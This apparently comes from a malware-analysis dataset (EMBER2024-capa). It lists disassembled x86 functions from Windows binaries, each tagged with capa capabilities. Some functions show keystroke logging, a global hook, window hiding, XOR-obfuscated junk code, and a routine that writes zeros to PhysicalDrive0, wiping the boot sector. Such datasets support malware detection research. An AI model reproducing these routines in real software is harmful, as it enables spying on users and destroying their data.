joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448ac4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x488ce4]
cmp byte [eax + 0xc], 0
je 0x448c31
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x448c2a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x489b70], 0
jne 0x448b18
push 0x448c38
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x448c40
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b70], eax
cmp dword [0x487c04], 0
jne 0x448c13
push 0x448c50
call sub.kernel32.dll_LoadLibraryA
mov dword [0x487c04], eax
cmp dword [0x487c04], 0
je 0x448c13
push 0x448c5c
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b74], eax
push 0x448c6c
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b78], eax
push 0x448c80
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b7c], eax
push 0x448c98
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b80], eax
push 0x448cb0
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b84], eax
push 0x448cc4
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b88], eax
push 0x448cdc
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b8c], eax
push 0x448cf4
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b90], eax
push 0x448d10
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b94], eax
push 0x448d1c
mov eax, dword [0x487c04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x489b98], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x448c31
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x44cf74
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403f44
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x44cfc3
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004041b4
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x454700
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x454750]
test si, 4
je 0x454714
or bl, 1
test si, 8
je 0x45471e
or bl, 4
test si, 1
je 0x454728
or bl, 8
test si, 2
je 0x454732
or bl, 0x10
test si, 0x10
je 0x45473c
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45474b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x454754
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x45478c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45476d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45477c
or bl, 4
test esi, 0x20000000
je 0x454787
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45ae34
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45ae46
add esp, 0xfffffff0
call fcn.00403518
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041d234
mov eax, dword [0x4887b4]
mov dword [eax + 4], ebx
mov dword [eax], 0x45b1d8
mov eax, dword [0x4887c0]
mov dword [eax + 4], ebx
mov dword [eax], 0x45b1e4
mov eax, ebx
call fcn.0045b1f0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x415358]
call fcn.004031c4
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x415358]
call fcn.004031c4
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x415358]
call fcn.004031c4
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x415358]
call fcn.004031c4
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x415358]
call fcn.004031c4
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x45760c
push eax
push 0
push 0
mov eax, dword [0x4889cc]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41ec88]
call fcn.00420324
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41ec88]
call fcn.00420324
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41ec88]
call fcn.00420324
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0045b6a0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45b534
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45b534
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45b534
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45af83
call fcn.00403570
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45b318
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45b4c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45b4a4
mov dl, 1
mov eax, dword [0x415774]
call fcn.004031c4
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f44
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45b493
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00448e24
test al, al
je 0x45b486
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45b4d4
lea eax, [ebp - 0x254]
call fcn.00408f24
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45b486
xor eax, eax
push ebp
push 0x45b47f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45b50c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45b468
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041b4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45b468
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b486
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45b389
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00419424
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b4ca
lea eax, [ebp - 0x260]
call fcn.00403f44
ret

Function at 0x45be40
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x489bbc]
cmp byte [eax + 0xa5], 0
jne 0x45beb1
cmp dword [0x489bd4], 0
jne 0x45be72
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45bdfc
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x489bd4], eax
cmp dword [0x489bd0], 0
jne 0x45be8d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x489bd0], eax
cmp dword [0x489bd8], 0
jne 0x45beb1
push esp
push 0
push 0
push 0x45bda0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x489bd8], eax
pop edx
ret
Function at 0x45bfa8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45bfbf
add esp, 0xfffffff0
call fcn.00403518
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041d234
mov eax, dword [0x4889ac]
cmp word [eax + 2], 0
jne 0x45bfe7
mov eax, dword [0x4889ac]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045d680
mov eax, dword [0x488ab8]
cmp word [eax + 2], 0
jne 0x45c001
mov eax, dword [0x488ab8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045d878
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x415358]
call fcn.004031c4
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x415358]
call fcn.004031c4
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41f690]
call fcn.00426bd4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45c188
mov eax, dword [0x488844]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00426fa4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45de18
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x488844]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040ca84
test eax, eax
je 0x45c0f6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408904
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040caac
test eax, eax
je 0x45c10a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004041b4
mov eax, dword [0x488678]
cmp byte [eax], 0
jne 0x45c13e
mov eax, ebx
call fcn.0045c2b0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045dff4
mov eax, ebx
call fcn.0045e9b8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45c17e
call fcn.00403570
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45c530
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x489bbc]
cmp dword [eax + 0x30], 0
je 0x45c5da
cmp dword [ebx + 0x94], 0
jne 0x45c5d4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45c4c0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45c5d4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45c59a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45c5d4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00417744
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45c5a9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45d13c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45d171
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404034
jmp 0x45d17e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403f98
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45e1d0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45e211
mov eax, esi
call fcn.004443c8
test al, al
je 0x45e211
mov eax, dword [ebx + 0x84]
call fcn.004440c4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45e211
push 0
mov eax, dword [ebx + 0x84]
call fcn.004440c4
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4019ee
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
leave
ret
Function at 0x406e70
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00406ed0

Function at 0x406ed0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x40a060]
test esi, esi
jle 0x406fbd
mov edi, dword [0x40a064]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x406f04
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x406fb6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x406ef0
mov dword [esp], eax
mov ebx, eax
call fcn.00407810
test eax, eax
mov edi, eax
je 0x406ffa
lea ebx, [esi + esi*2]
mov esi, dword [0x40a064]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.00407910
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x40a064]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x406fda
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x406faf
sub eax, 0x40
and eax, 0xffffffbf
je 0x406faf
mov eax, dword [esp + 0x20]
add ebx, dword [0x40a064]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x406fc4
add dword [0x40a060], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x406f0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00406e70
mov eax, dword [0x40a064]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00406e70
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00406e70
lea esi, [esi]
Function at 0x4074c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40a408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40a400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x407515
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40750e
test esi, esi
je 0x40750e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4074f0
mov dword [esp], 0x40a408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x407730
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x407768
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x40775e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40776a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x407750
xor eax, eax
pop ebx
pop esi
ret
Function at 0x41268a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00412509

Function at 0x416a81
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004163ef

Function at 0x416a8c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041662a

Function at 0x43b642
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x43b3c1
and edx, edx
sub edx, 1
or esi, esi
call fcn.0043b67f
or edx, edx
sub esi, esi
xor dword [eax], ebx
or edx, edx
inc eax
sub edx, 0xa88b9de7
mov edx, 0x27f0b167
cmp eax, edi
jne fcn.0043b642
or edx, esi
ret
Function at 0x40106e
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x441460
cmp dword [ebp - 0xcbc], 0
jle 0x44155f
push ebx
call 0x441456
add byte [edi], bh
xor ecx, dword [eax + eax*2 + 0x37]
dec esp
xor eax, 0x4c48349
call 0x441469
add byte [esi + 0x4b], cl
dec ebx
push eax
inc eax
dec ebp
inc esi
inc ebp
inc ebp
aas
dec edi
add esp, 4
pop ebx
push ecx
push eax
add esp, 4
xor ecx, 0x10776
pop ecx
mov ecx, dword [ebp - 0xaec]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xae8]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x4414fb
push eax
add eax, 0x4415
add eax, 0x87f9
pop eax
push ecx
add ecx, 0x170f9
or ecx, 0x3d55
sub ecx, 0x8a18
call 0x4414bd
add byte [ebx + 0x47], al
xor eax, 0x4f334348
add esp, 4
pop ecx
mov edx, dword [ebp - 0xaec]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xae8]
movzx edx, byte [ecx]
cmp eax, edx
jle 0x4414e3
mov dword [ebp - 0x15dc], 1
jmp 0x4414ed
mov dword [ebp - 0x15dc], 0xffffffff
mov eax, dword [ebp - 0x15dc]
mov dword [ebp - 0xcc0], eax
jmp 0x44155f
push edx
add edx, 0x177f4
pop edx
push esi
push eax
add esp, 4
and esi, 0xf2aa
xor esi, 0xbf7b
pop esi
push eax
push esi
add esp, 4
and eax, 0x1373a
pop eax
push edx
push edx
add esp, 4
and edx, 0x16fae
pop edx
mov ecx, dword [ebp - 0xcbc]
sub ecx, 1
mov dword [ebp - 0xcbc], ecx
mov edx, dword [ebp - 0xaec]
add edx, 1
mov dword [ebp - 0xaec], edx
mov eax, dword [ebp - 0xae8]
add eax, 1
mov dword [ebp - 0xae8], eax
jmp 0x44143a
mov ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x15e0], ecx

Function at 0x4010f5
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x441111
add byte [ecx + 0x13aa8eb], al

Function at 0x4014e2
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x43ff82
jmp fcn.00441203

Function at 0x401b86
Capabilities:
Delete registry key
Set registry value

Disassembly:
jmp 0x414830
jmp fcn.00413f60
mov ecx, 0x46b064
jmp 0x40266c

Function at 0x402135
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x4402e4
jmp fcn.004014e2

Function at 0x40272a
Capabilities:
Parse pe header

Disassembly:
jmp 0x440e20
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x440e5f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x440e5f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x440e5f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x440e5f
cmp dword [ecx + 0x74], 0xe
jbe 0x440e5f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x412df0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
test esi, esi
je 0x412e2c
mov ecx, dword [ebp + 8]
cmp ecx, reloc.WS2_32.dll_bind
je 0x412e35
cmp ecx, 0x80000001
je 0x412e35
mov dword [esi], 0
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0x10]
mov dword [esi], eax
lea eax, [ebp - 8]
push eax
push 0x20219
push 0
push 0x459a90
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x412edc
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push str.L__HPEM7
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x412ed3
cmp dword [ebp - 0xc], 1
jne 0x412ed3
push edi
push dword [ebp - 4]
call dword [0x4705b4]
mov edi, eax
add esp, 4
test edi, edi
je 0x412ed2
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
push 0
push str.L__HPEM7
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x412ec8
push dword [ebp - 4]
push edi
push 0x459b94
call dword [0x470774]
add esp, 0xc
neg eax
sbb eax, eax
add eax, 3
mov dword [esi], eax
push edi
call dword [0x4705a4]
add esp, 4
pop edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4410b2
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x4410a3
push 0x30000
push 0x10000
push 0
call 0x8b991359
push ebp
mov ebp, esp
sub esp, 0x1ea0
push ebx
push esi
push edi
push ebx
and ebx, 0x128b1
and ebx, 0xd50d
and ebx, 0x1629a

Function at 0x44115f
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
and edi, 0xa952
pop edi
mov dword [ebp - 0x77c], 0
call fcn.004410ff
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x77c], eax
push ebx
add ebx, 0x6230
sub ebx, 0x13aa8
xor ebx, 0x75ca
add ebx, 0x16d3e
pop ebx
push edx
push eax
add esp, 4
or edx, 0xf945
pop edx
push ebx
push esi
add esp, 4
and ebx, 0x4f08
pop ebx
push eax
or eax, 0xf4d6
pop eax
push edx
push edi
add esp, 4
add edx, 0x14e06
call 0x44115f
add byte [ebp + 0x4a], al
cmp eax, 0x4e48324c
cmp ecx, dword [esi - 0x7d]
les eax, [ecx + eax*4]
loop 0x4410e9
cmc
add byte [eax], al
add edx, 0x74ef
pop edx
mov byte [ebp - 0xbe4], 0x52
mov byte [ebp - 0xbe3], 0xb9
mov byte [ebp - 0xbe2], 0x10
mov byte [ebp - 0xbe1], 0x10

Function at 0x441197
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
call dword [eax]
mov byte [ebp - 0xbde], 0x5a
push edi
push ecx
add esp, 4
les eax, [ebx + ebp*8]
invalid

Function at 0x4411a9
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmp eax, dword [ebp + 0x38]
jmp 0x4411b1
add edi, 0x15cd8
xor edi, 0xa1c0
pop edi
push edi
invalid
invalid

Function at 0x4411b5
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmp eax, dword [ebp + 0x38]
jmp 0x4411b1
add edi, 0x15cd8
xor edi, 0xa1c0
pop edi
push edi
invalid
invalid